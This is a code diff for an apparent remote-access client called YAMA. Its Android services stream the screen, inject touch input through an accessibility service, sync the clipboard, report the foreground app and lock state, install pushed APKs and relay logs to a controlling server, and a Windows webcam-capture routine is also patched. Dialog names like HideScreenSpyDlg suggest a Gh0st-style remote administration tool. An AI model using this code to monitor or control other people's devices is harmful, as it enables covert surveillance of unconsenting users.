@@ -3179,6 +3250,10 @@ Java_com_yama_client_YamaBridge_nativeAudioSendPcm(JNIEnv* env, jobject, jshortA
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
{
// 上报了非零尺寸 = 当前已有可用的投影会话:清掉「上次拉起授权」的节流时间。
// 否则投影在 10 分钟内再次失效(睡眠/服务重启,正是这条路径存在的场景)时,
// 节流会挡住第二次授权提示,客户端只能直接报「screen capture is not available」。
if (width > 0) g_lastPermPromptMs.store(0);
g_screenWidth.store(width);
g_screenHeight.store(height);
LOGI("ScreenSize=%dx%d", width, height);
@@ -23,6 +23,7 @@ import android.os.Bundle
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.os.SystemClock
import android.provider.Settings
import android.util.DisplayMetrics
import android.util.Log
@@ -31,6 +32,18 @@ import android.widget.Toast
import java.nio.charset.Charset
// 关键日志同时写进 native 的 Logger ring(服务端「运行日志」/ MCP get_client_log 可导出)。
// 电视等没有 adb 的设备上,这是唯一能把编码器状态带回主控的通道。
// native 库没加载成功时退回落 logcat——否则「Native library load failed」这类
// 关键错误反而看不到(那次调用本身就依赖 native 库)。
private fun ylog(priority: Int, msg: String) {
val ok = runCatching { YamaBridge.nativeLog(priority, "YAMA", msg) }.isSuccess
if (!ok) Log.println(priority, "YAMA", msg)
}
private fun ylogI(msg: String) = ylog(Log.INFO, msg)
private fun ylogW(msg: String) = ylog(Log.WARN, msg)
private fun ylogE(msg: String) = ylog(Log.ERROR, msg)
private fun ylogD(msg: String) = ylog(Log.DEBUG, msg)
class CaptureService : Service() {
companion object {
@@ -38,6 +51,9 @@ class CaptureService : Service() {
const val CHANNEL_ID = "yama_service"
const val NOTIF_ID = 1
// 采集零输出时重建管线的节流时间戳(毫秒)
@Volatile private var lastStallRestartMs = 0L
const val EXTRA_SERVER_IP = "server_ip"
const val EXTRA_SERVER_PORT = "server_port"
const val EXTRA_PROJECTION_RESULT = "projection_result"
@@ -63,7 +79,7 @@ class CaptureService : Service() {
@JvmStatic
fun onUpdateReceived(path: String) {
val ctx = instance ?: appContext ?: return
Log.i(TAG, "onUpdateReceived: $path")
ylogI("onUpdateReceived: $path")
UpdateInstaller.onApkReceived(ctx, path)
}
@@ -71,7 +87,7 @@ class CaptureService : Service() {
@JvmStatic
fun onUninstallRequested() {
val ctx = instance ?: appContext ?: return
Log.i(TAG, "onUninstallRequested")
ylogI("onUninstallRequested")
Uninstaller.request(ctx)
}
@@ -85,12 +101,12 @@ class CaptureService : Service() {
fun onClipboardText(bytes: ByteArray) {
val ctx = instance ?: appContext
if (ctx == null) {
Log.w(TAG, "onClipboardText: no context, ${bytes.size} bytes dropped")
ylogW("onClipboardText: no context, ${bytes.size} bytes dropped")
return
}
val cm = ctx.getSystemService(Context.CLIPBOARD_SERVICE) as? ClipboardManager
if (cm == null) {
Log.e(TAG, "onClipboardText: no ClipboardManager")
ylogE("onClipboardText: no ClipboardManager")
return
}
// 人类剪贴板同步(ScreenSpyDlg / HideScreenSpyDlg)发的是带 '\0' 结尾的 CF_TEXT,
@@ -98,17 +114,17 @@ class CaptureService : Service() {
val text = String(bytes, Charset.forName("GBK")).trimEnd('\u0000')
try {
cm.setPrimaryClip(ClipData.newPlainText("YAMA", text))
Log.i(TAG, "onClipboardText: ${bytes.size} bytes, ${text.length} chars")
ylogI("onClipboardText: ${bytes.size} bytes, ${text.length} chars")
} catch (e: Throwable) {
// Android 10+ 极少见地会在某些受限场景抛 SecurityException;记日志不崩 JNI 线程
Log.e(TAG, "onClipboardText: setPrimaryClip failed: $e")
ylogE("onClipboardText: setPrimaryClip failed: $e")
}
}
@JvmStatic
fun onNativeExit() {
val svc = instance ?: return
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
ylogI("onNativeExit: server requested disconnect, stopping service")
svc.idrHandler.post { svc.stopSelf() }
}
@@ -140,8 +156,8 @@ class CaptureService : Service() {
p.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, kbps * 1000)
codec.setParameters(p)
svc.currentBitRateKbps = kbps
Log.i(TAG, "bitrate -> $kbps kbps")
}.onFailure { Log.e(TAG, "bitrate change to $kbps failed: $it") }
ylogI("bitrate -> $kbps kbps")
}.onFailure { ylogE("bitrate change to $kbps failed: $it") }
}
}
@@ -160,17 +176,93 @@ class CaptureService : Service() {
val w = ControlService.encW
val h = ControlService.encH
val dpi = svc.resources.displayMetrics.densityDpi
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
ylogD("forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
vd.resize(w + 2, h, dpi)
svc.idrHandler.postDelayed({
runCatching { vd.resize(w, h, dpi) }
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
ylogD("forceFirstFrame: restored ${w}x${h}")
}, 150)
}
}
}
/**
* 远程桌面请求时没有可用的投影会话(Android TV 从未授权,或 Android 14 的单次
* 授权在服务重启后失效):尝试拉起 MainActivity 重新走一遍系统「屏幕捕获」授权。
* 优先用无障碍服务的 startActivity——系统绑定服务不受后台启动 Activity 限制。
* 调用方是 native 的 ScreenSpyThread(g_requestPermMid),10 分钟内最多触发一次。
*/
@JvmStatic
fun requestScreenCapturePermission() {
val ctx = appContext ?: instance ?: return
// request_projection:MainActivity 还活着时走 onNewIntent,靠这个 extra 重新发起授权;
// 也避免把用户主动点图标打开 App 的情况误判成授权请求。
val intent = Intent(ctx, MainActivity::class.java)
// SINGLE_TOP:MainActivity 还活着且位于栈顶时走 onNewIntent 重新授权;
// 没有它,NEW_TASK 只是把任务前置,既不走 onCreate 也不走 onNewIntent,
// 授权界面永远弹不出来。
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
.putExtra(MainActivity.EXTRA_REQUEST_PROJECTION, true)
val acc = ControlService.instance
// AccessibilityService.startActivity(Intent) 是 API 24+;minSdk 21 上会抛
// NoSuchMethodError,失败时回退到普通 startActivity。
var launched = false
if (acc != null) launched = runCatching { acc.startActivity(intent) }.isSuccess
if (!launched) launched = runCatching { ctx.startActivity(intent) }.isSuccess
ylogI("screen-capture permission prompt: launched=$launched")
}
/**
* SendLoop 检测到「采集在跑、但编码器零输出」时调用(电视睡眠后最常见:
* MediaProjection 还在,SurfaceFlinger 却不再往旧的 VirtualDisplay 送帧)。
* 用同一个 MediaProjection 重建编码器 + 虚拟显示(token 不消耗、无需重新授权);
* 投影本身已经失效时把 native 尺寸清零,让下一次远程桌面重新走授权。
*/
@JvmStatic
fun onEncoderStalled() {
val svc = instance ?: return
svc.idrHandler.post {
val now = SystemClock.elapsedRealtime() // 单调时钟:墙上时间回拨不会让节流永久失效
// last==0 是「本次开机还没重建过」:单调时钟 0 点是开机,开机 30 秒内
// 不能因为 now-0 < 30000 就把第一次自愈吞掉。
if (lastStallRestartMs != 0L && now - lastStallRestartMs < 30_000) return@post
lastStallRestartMs = now
val mp = svc.mediaProjection
if (mp == null) {
ylogI("capture stalled: projection gone, clearing screen size")
YamaBridge.nativeSetScreenSize(0, 0)
return@post
}
val (pw, ph) = svc.getPhysicalResolution()
// 复用当前会话的编码尺寸,避免主控端解码器与新的 SPS 尺寸不一致。
val keep = if (ControlService.encW > 0 && ControlService.encH > 0)
Pair(ControlService.encW, ControlService.encH) else null
ylogI("capture stalled: rebuilding encoder/virtual display (phys=${pw}x${ph}, keepEnc=${keep != null})")
svc.releaseCaptureKeepProjection()
val rebuilt = runCatching {
svc.startCapture(mp, pw, ph, registerProjectionCallback = false, forcedEnc = keep)
}.onFailure { ylogE("capture rebuild threw: $it") }.isSuccess
// startCapture 先赋值 mediaCodec、后调 createVirtualDisplay;投影失效时
// createVirtualDisplay 会抛异常,所以单看 mediaCodec 判不出失败。半初始化的
// 编码器必须收干净、native 尺寸清零,否则后续远程桌面会一直带着旧尺寸停在
// 「请等待」,也不会走重新授权。
if (!rebuilt || svc.mediaCodec == null || svc.virtualDisplay == null) {
ylogE("capture rebuild failed; clearing screen size")
svc.releaseCaptureKeepProjection()
YamaBridge.nativeSetScreenSize(0, 0)
} else {
// 静止画面(电视停在桌面/暂停的视频)没有任何脏区,新 VirtualDisplay
// 不会合成出帧。和首条管线一样,用一次 ±2px resize 触发合成。
forceFirstFrame()
}
}
}
}
// nativeInit 是否已完成。MainActivity 重新授权会再次 startForegroundService,同一个
// Service 实例会收到第二次 onStartCommand:这时不能再次 nativeInit(main.cpp 的 CAS
// 会返回 -1),否则失败分支会 stopSelf → nativeStop → 客户端直接掉线。
private var nativeReady = false
private var mediaProjection: MediaProjection? = null
private var virtualDisplay: VirtualDisplay? = null
private var mediaCodec: MediaCodec? = null
@@ -220,29 +312,39 @@ class CaptureService : Service() {
val res = "1:${sw}*${sh}"
val user = Build.USER
// 初始化前不能走 ylog*/YamaBridge:那会触发 loadLibrary,失败时把类初始化搞坏,
// 后面的 nativeInit 会变成 NoClassDefFoundError(不是下面两个 catch 能接住的)。
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError(首次访问 object 时触发)
val initRet: Int
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath,
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
} catch (e: UnsatisfiedLinkError) {
Log.e(TAG, "Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
Log.e(TAG, "Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
if (!nativeReady) {
var initRet = 0
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user,
packageCodePath ?: "", filesDir.absolutePath,
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
} catch (e: UnsatisfiedLinkError) {
ylogE("Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
ylogE("Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
} catch (e: Throwable) {
// 类初始化失败后再次访问 YamaBridge 会抛 NoClassDefFoundError
ylogE("nativeInit threw: $e")
stopSelf()
return START_NOT_STICKY
}
if (initRet != 0 && initRet != -1) { // -1 = 已在运行(重复 start),不算失败
ylogE("nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
nativeReady = true
}
if (initRet != 0) {
Log.e(TAG, "nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
@@ -266,7 +368,7 @@ class CaptureService : Service() {
// codec/vd 会漏掉它,旧 projection 永不 stop(),投屏指示器一直亮着,
// 它的 onStop 回调也继续挂着。
if (mediaCodec != null || virtualDisplay != null || mediaProjection != null) {
Log.i(TAG, "onStartCommand: releasing previous capture before restart")
ylogI("onStartCommand: releasing previous capture before restart")
stopCapture()
}
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
@@ -277,13 +379,13 @@ class CaptureService : Service() {
try {
startCapture(mp, sw, sh)
} catch (e: Exception) {
Log.e(TAG, "Screen capture failed: $e — running without capture")
ylogE("Screen capture failed: $e — running without capture")
}
} else {
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
ylogE("Invalid screen resolution ${sw}x${sh}, skipping capture")
}
} else {
Log.w(TAG, "No MediaProjection token, skipping screen capture")
ylogW("No MediaProjection token, skipping screen capture")
}
return START_STICKY
@@ -293,23 +395,34 @@ class CaptureService : Service() {
super.onDestroy()
instance = null
stopCapture()
YamaBridge.nativeStop()
Log.i(TAG, "CaptureService destroyed")
// nativeInit 没成功过就不要碰 YamaBridge(类初始化失败后会抛 NoClassDefFoundError)
ylogI("CaptureService destroyed")
if (nativeReady) runCatching { YamaBridge.nativeStop() }
}
// ---------------------------------------------------------------- MediaProjection + MediaCodec
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int, registerProjectionCallback: Boolean = true, forcedEnc: Pair<Int, Int>? = null) {
// 重建时必须沿用原会话的编码尺寸:主控端的解码器已按最初的 BITMAPINFO 初始化,
// 睡眠后物理分辨率可能变化(实测 1080x606 → 1280x720),重新推导可能得到不同的
// 编码尺寸,主控端会黑屏。forcedEnc 由 onEncoderStalled 传入。
val (encW, encH) = forcedEnc ?: scaleDown(physW, physH, MAX_LONG_SIDE)
val dpi = resources.displayMetrics.densityDpi
// 主控端上次保存的档位决定开抓码率;自适应档从 Good 起步(与服务端假设一致)
val (bitRateKbps, fps) = ScreenTuning.startupRate()
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
ylogI("Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
"bitrate=${bitRateKbps}kbps fps=$fps level=${ScreenTuning.getQualityLevel()}")
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
val surface = configureEncoder(codec, encW, encH, bitRateKbps, fps)
// configureEncoder 三套配置都失败时会抛异常;此时 mediaCodec 还没赋值,
// releaseCaptureKeepProjection 收不到它,必须在这里释放,否则每次重建失败都漏一个编码器。
val surface = try {
configureEncoder(codec, encW, encH, bitRateKbps, fps)
} catch (e: Exception) {
runCatching { codec.release() }
throw e
}
currentBitRateKbps = bitRateKbps
var configData: ByteArray? = null
@@ -345,31 +458,37 @@ class CaptureService : Service() {
}
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
Log.e(TAG, "MediaCodec error: $e")
ylogE("MediaCodec error: $e")
}
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
Log.i(TAG, "Output format: $format")
ylogI("Output format: $format")
}
})
codec.start()
try {
codec.start()
} catch (e: Exception) {
// 同上:start 抛异常时 mediaCodec 还没赋值,编码器会漏掉
runCatching { codec.release() }
throw e
}
mediaCodec = codec
idrHandler.postDelayed(idrRunnable, 500)
// Android 14+ requires callback registered before createVirtualDisplay()
mp.registerCallback(object : MediaProjection.Callback() {
if (registerProjectionCallback) mp.registerCallback(object : MediaProjection.Callback() {
override fun onStop() {
// stop() 的回调是异步投递到主线程的,可能在新一轮 startCapture 之后
// 才到达。身份不一致说明这是被我们主动收掉的旧 projection,忽略它,
// 否则迟到的回调会把刚建好的 VirtualDisplay 和编码器一起拆掉。
// 顺带也让 stopCapture() 内部的 mp.stop() 不再递归触发自己。
if (mediaProjection !== mp) {
Log.i(TAG, "stale MediaProjection onStop ignored")
ylogI("stale MediaProjection onStop ignored")
return
}
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
ylogI("MediaProjection stopped — switching to dataSync foreground type")
stopCapture()
// Android 14+: system auto-kills a foreground service whose mediaProjection
// is revoked. Re-declare as dataSync-only to survive without screen capture.
@@ -387,7 +506,7 @@ class CaptureService : Service() {
// ScreenSpyThread 认为投屏就绪、照常发 BITMAPINFO,而 surface 没有任何生产者,
// 编码器永远不输出 → 服务端停在"请等待"。这里必须显式失败,不能静默。
if (vd == null) {
Log.e(TAG, "createVirtualDisplay returned null (enc=${encW}x${encH} dpi=$dpi) — " +
ylogE("createVirtualDisplay returned null (enc=${encW}x${encH} dpi=$dpi) — " +
"no frames will be produced; check MediaProjection token")
// 500ms 前已经 postDelayed 过 idrRunnable,不收掉它会每秒空转(mediaCodec
// 已置 null,setParameters 是 null-safe,但没意义)。
@@ -419,7 +538,7 @@ class CaptureService : Service() {
ControlService.encW = encW
ControlService.encH = encH
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
ylogI("MediaCodec + VirtualDisplay started ${encW}x${encH}")
}
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean,
@@ -449,22 +568,26 @@ class CaptureService : Service() {
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
}
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容。
// 电视(isTvDevice:leanback/television/uiMode)的硬件编码器对低延迟配置尤其敏感:
// configure/createInputSurface/start 全部成功,但 KEY_LOW_LATENCY 下可能一帧都不输出
// (与 KEY_OPERATING_RATE 压到 30 以下同类的低功耗行为)。电视上因此先试「默认配置」,
// 手机保持原顺序。注意这与 D-pad 输入策略的 leanback 判定是两件事。
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int,
bitRateKbps: Int, fps: Int): android.view.Surface {
val configs = listOf(
true to true,
true to false,
false to false,
)
val isTv = ControlService.isTvDevice(this)
val configs = if (isTv)
listOf(false to false, true to false, true to true)
else
listOf(true to true, true to false, false to false)
for ((ll, bl) in configs) {
try {
val fmt = buildFmt(w, h, ll, bl, bitRateKbps, fps)
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
ylogI("Encoder configured: lowLatency=$ll baseline=$bl")
return codec.createInputSurface()
} catch (e: Exception) {
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
ylogW("Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
try { codec.reset() } catch (_: Exception) {}
}
}
@@ -487,7 +610,21 @@ class CaptureService : Service() {
// 客户端照常建子连接、发 TOKEN_BITMAPINFO,服务端收到尺寸后进入"请等待",而
// 编码器一帧都产不出来 → 永远停在"请等待"。token 是一次性的,客户端自己恢复
// 不了,只能重新走授权,所以这里唯一正确的动作是如实报告「没有投屏」。
YamaBridge.nativeSetScreenSize(0, 0)
// native 初始化失败时(onDestroy 仍会走到这里)碰 YamaBridge 会抛
// NoClassDefFoundError,必须由 nativeReady 挡住。
if (nativeReady) runCatching { YamaBridge.nativeSetScreenSize(0, 0) }
}
// 只拆编码器与虚拟显示、保留 MediaProjection:Android 14 的投影 token 是一次性的,
// stop() 之后就只能重新授权。电视睡眠后旧的 VirtualDisplay 收不到合成帧时,用同一个
// 投影重建一条新的虚拟显示即可恢复,不必打扰设备前的用户。
private fun releaseCaptureKeepProjection() {
idrHandler.removeCallbacks(idrRunnable)
runCatching { virtualDisplay?.release() }
runCatching { mediaCodec?.stop() }
runCatching { mediaCodec?.release() }
virtualDisplay = null
mediaCodec = null
}
// ---------------------------------------------------------------- 辅助函数
@@ -564,10 +701,10 @@ class CaptureService : Service() {
try {
startForeground(NOTIF_ID, buildNotification(), types)
} catch (e: Exception) {
Log.e(TAG, "startForeground(types=0x${types.toString(16)}) failed: $e")
ylogE("startForeground(types=0x${types.toString(16)}) failed: $e")
if (types != base) {
runCatching { startForeground(NOTIF_ID, buildNotification(), base) }
.onFailure { Log.e(TAG, "startForeground(base=0x${base.toString(16)}) also failed: $it") }
.onFailure { ylogE("startForeground(base=0x${base.toString(16)}) also failed: $it") }
}
}
}
@@ -8,6 +8,8 @@ import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.PackageManager
import android.content.res.Configuration
import android.graphics.Color
import android.graphics.Path
import android.graphics.PixelFormat
@@ -39,6 +41,15 @@ class ControlService : AccessibilityService() {
companion object {
const val TAG = "YAMA_CTRL"
/** 电视判定唯一实现:D-pad 输入、SCREEN_ON 清锁屏、编码器配置顺序都用它,
* 避免两处判定漂移。非 GMS 的国产电视可能没有 leanback 特性,补 television/uiMode。 */
@JvmStatic
fun isTvDevice(context: Context): Boolean =
context.packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) ||
context.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) ||
(context.resources.configuration.uiMode and Configuration.UI_MODE_TYPE_MASK) ==
Configuration.UI_MODE_TYPE_TELEVISION
// 锁定时注入手势前的放行等待(毫秒):见 sendGesture 的说明。100ms 是实测能
// 稳稳让 WMS 应用完 FLAG_NOT_TOUCHABLE 的最小值量级(官方没有回调可等)。
private const val OVERLAY_BYPASS_DELAY_MS = 100
@@ -56,13 +67,19 @@ class ControlService : AccessibilityService() {
val activeWindow: String
get() {
val svc = instance
val now = SystemClock.elapsedRealtime()
val locked = lockedAtElapsed != 0L || (svc?.isKeyguardLockedNow() == true)
if (locked) {
if (lockedAtElapsed == 0L) lockedAtElapsed = now
return "Locked: " + formatElapsed(now - lockedAtElapsed)
// 无障碍服务不在时无法判断锁屏状态。以前这里保留上一次的 lockedAtElapsed,
// 服务被杀/重启后会一直上报 "Locked: HH:MM:SS"(时长还一直在涨)。
if (svc == null) {
lockedAtElapsed = 0L
return foregroundPkg
}
lockedAtElapsed = 0L
val now = SystemClock.elapsedRealtime()
// 只认 ACTION_SCREEN_OFF 记下的起点:db148c4 起改成每次心跳都问
// KeyguardManager,而部分电视(如 Changhong AI PONT)这个值恒为 true,
// 正在看 YouTube 也会一直上报 "Locked: HH:MM:SS",前台应用永远不更新。
// 手机上的锁屏由 SCREEN_OFF → USER_PRESENT 这对广播覆盖,不需要再问 keyguard。
if (lockedAtElapsed != 0L)
return "Locked: " + formatElapsed(now - lockedAtElapsed)
return foregroundPkg
}
@@ -81,8 +98,9 @@ class ControlService : AccessibilityService() {
@JvmStatic
fun currentActivityTitle(): String? {
val svc = instance ?: return null
// 历史活动里锁屏仍按空闲处理(C++ 侧只认裸 "Locked"),不要带时长
if (lockedAtElapsed != 0L || svc.isKeyguardLockedNow()) return "Locked"
// 历史活动里锁屏仍按空闲处理(C++ 侧只认裸 "Locked"),不要带时长。
// 与 activeWindow 一致:只看 SCREEN_OFF 记下的起点,不问 KeyguardManager。
if (lockedAtElapsed != 0L) return "Locked"
val pkg = foregroundPkg
return when {
pkg.isEmpty() -> null
@@ -205,6 +223,13 @@ class ControlService : AccessibilityService() {
when (intent?.action) {
// 只记录起点;上报时由 activeWindow 的 getter 算 "Locked: HH:MM:SS"
Intent.ACTION_SCREEN_OFF -> lockedAtElapsed = SystemClock.elapsedRealtime()
// 亮屏时判断是否还需要解锁:
// · 电视(isTvLike)没有锁屏,且 ACTION_USER_PRESENT 往往根本不来;
// · 没设置锁屏密码的手机/平板(keyguard 未锁)也不会收到 USER_PRESENT。
// 这两种情况必须清掉 SCREEN_OFF 记下的起点,否则会一直上报
// 「Locked: 23:12:57」这种越涨越久的假锁屏。
// 有锁屏的手机保持起点,等 USER_PRESENT(或服务重连时的校准)来清。
Intent.ACTION_SCREEN_ON -> if (isTvLike || !isKeyguardLockedNow()) lockedAtElapsed = 0L
Intent.ACTION_USER_PRESENT -> {
lockedAtElapsed = 0L
foregroundPkg = "Android"
@@ -213,8 +238,8 @@ class ControlService : AccessibilityService() {
}
}
// 锁屏判断:KeyguardManager 在「屏幕亮着但未解锁」时也返回 true;
// 少数机型息屏时它返回 false,所以调用方还会叠加 lockedAtElapsed。
// 锁屏判断只用于「事件点的校准」(SCREEN_ON / 服务重连),不要放回每次心跳的
// activeWindow getter:部分电视/机型恒返回 true,那正是活动窗口卡在 Locked 的原因。
private fun isKeyguardLockedNow(): Boolean {
val km = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager ?: return false
return km.isKeyguardLocked
@@ -226,7 +251,18 @@ class ControlService : AccessibilityService() {
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
// to accessibility focus navigation — no touchscreen or root required.
private var isTV = false
//
// 两个判定必须分开,且都用不可变惰性值(不要改成生命周期里赋值的 var):
// · isTV —— 输入策略:D-pad 焦点导航 vs 直接触摸注入。只认 leanback。
// 在不需要 D-pad 的设备上误开会让远程鼠标完全失效;反过来
// 在需要 D-pad 的电视上误关会让控制完全失效(2026-11-22 事故)。
// · isTvLike —— 电视特征(锁屏启发式):leanback/television/uiMode 任一命中。
// 这两者合并过一次,结果就是一台电视的远程控制被关掉;用 typed 命名拆开。
// 曾因一次脚本替换丢掉赋值,isTV 静默保持 false。改成 lazy val 后,"漏赋值"不再合法。
private val isTV: Boolean by lazy {
packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
}
private val isTvLike: Boolean by lazy { isTvDevice(this) }
private var tvLastEncX = -1f
private var tvLastEncY = -1f
private var tvAccumDX = 0f
@@ -262,10 +298,25 @@ class ControlService : AccessibilityService() {
override fun onServiceConnected() {
super.onServiceConnected()
instance = this
isTV = packageManager.hasSystemFeature("android.software.leanback")
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
// 输入策略与电视特征(isTV / isTvLike)是不可变惰性值,见字段声明处的说明。
// 启动时把解析结果打进日志:远程控制异常时先看这一行,判断是不是输入策略选错了。
// 同时尽量写进 native ring(服务端「运行日志」能取回);无障碍服务可能先于
// nativeInit 连接,这时 native 不可用,退回 logcat 即可。
val inputMode = "input=${if (isTV) "dpad" else "touch"} tvLike=$isTvLike"
Log.i(TAG, inputMode)
runCatching { YamaBridge.nativeLog(Log.INFO, TAG, inputMode) }
// 手机在无障碍服务重启时可能仍处于锁屏:SCREEN_OFF 广播发生在本次服务启动之前,
// 之后也不会再补发,只有 USER_PRESENT 才会来。连上时按 keyguard 校准一次:
// 锁着就补记起点,没锁就清掉旧起点——否则"锁屏时服务重连、之后已解锁"会让
// 假 Locked 一直挂着(时长还一直涨)。电视不认 keyguard(部分机型恒为 true,
// 正是 db148c4 把活动窗口卡在 Locked 的原因)。
if (!isTvLike) {
val keyguardLocked = (getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager)?.isKeyguardLocked == true
lockedAtElapsed = if (keyguardLocked) SystemClock.elapsedRealtime() else 0L
}
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_SCREEN_ON)
addAction(Intent.ACTION_USER_PRESENT)
}
registerReceiver(screenReceiver, filter)
@@ -276,8 +327,8 @@ class ControlService : AccessibilityService() {
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
val pkg = event.packageName?.toString()
if (!pkg.isNullOrEmpty()) {
// 只更新前台包名;解锁由 USER_PRESENT 与 activeWindow 的 getter 负责,
// 避免「息屏时 KeyguardManager 误报未锁」把锁定起点清掉
// 只更新前台包名;锁定起点由 SCREEN_OFF / USER_PRESENT(电视另有
// SCREEN_ON)维护,getter 不再询问 KeyguardManager。
foregroundPkg = pkg
}
}
@@ -27,6 +27,8 @@ class MainActivity : AppCompatActivity() {
private var awaitingStorageSettings = false
companion object {
// 远程桌面的屏幕捕获授权失效时,native 会拉起本 Activity;实例还活着时靠这个 extra 走 onNewIntent
const val EXTRA_REQUEST_PROJECTION = "request_projection"
const val REQUEST_MEDIA_PROJECTION = 1001
// POST_NOTIFICATIONS(API 33+)、RECORD_AUDIO(语音监听)与 API 29- 的存储权限
// 合并成一次请求;结果回来后再弹录屏授权,系统对话框不会叠在一起。
@@ -192,6 +194,15 @@ class MainActivity : AppCompatActivity() {
}
}
override fun onNewIntent(intent: Intent?) {
super.onNewIntent(intent)
// native 请求重新授权时(ScreenSpyThread 发现没有投影会话):若本 Activity 还活着,
// onCreate 不会再执行,这里补一次系统「屏幕捕获」授权。
if (intent?.getBooleanExtra(EXTRA_REQUEST_PROJECTION, false) == true && !awaitingStorageSettings) {
startProjection()
}
}
override fun onDestroy() {
super.onDestroy()
}
@@ -30,6 +30,12 @@ object YamaBridge {
/** 把一行文本回报到服务端消息栏(TOKEN_CLIENT_MSG),用于升级流程的成败说明 */
external fun nativeReportMessage(msg: String)
/**
* 把一行日志写进 native 的 Logger ring:服务端「运行日志」菜单 / MCP get_client_log
* 会取回这份 ring。电视、机顶盒这类没有 adb 的设备靠它回传编码器/投影状态。
*/
external fun nativeLog(priority: Int, tag: String, msg: String)
/**
* 远程交谈:发送一条已按 GBK 编码的消息(不含结尾 NUL,native 补)。
* 没有活跃的交谈子连接时返回 false。
+58 -32
View File
@@ -4,6 +4,7 @@
#include "stdafx.h"
#include "CaptureVideo.h"
#include <dvdmedia.h> // VIDEOINFOHEADER2:不少摄像头/驱动给的是 FORMAT_VideoInfo2
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -46,13 +47,14 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_FALSE;
HRESULT hResult = E_FAIL; // 默认失败:只有图真正跑起来才算成功
bool graphRunning = false;
do {
hResult = InitCaptureGraphBuilder();
if (FAILED(hResult))
break;
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
hResult = S_FALSE;
hResult = E_FAIL; // 没有可用的 DirectShow 采集设备
break;
}
@@ -97,10 +99,29 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
// 只按 VIDEOINFOHEADER 解释 mt.pbFormat 不够:很多摄像头/驱动(尤其
// 笔记本内置摄像头)给出的格式是 FORMAT_VideoInfo2,两者头部布局不同,
// 直接强转会读出垃圾宽高,后面按它分配缓冲/逐帧 memcpy 就会崩。两种都认,
// 其它格式或非法尺寸一律当失败处理,让上层优雅退出而不是带病跑。
BITMAPINFOHEADER* bmi = NULL;
if (mt.formattype == FORMAT_VideoInfo && mt.pbFormat != NULL
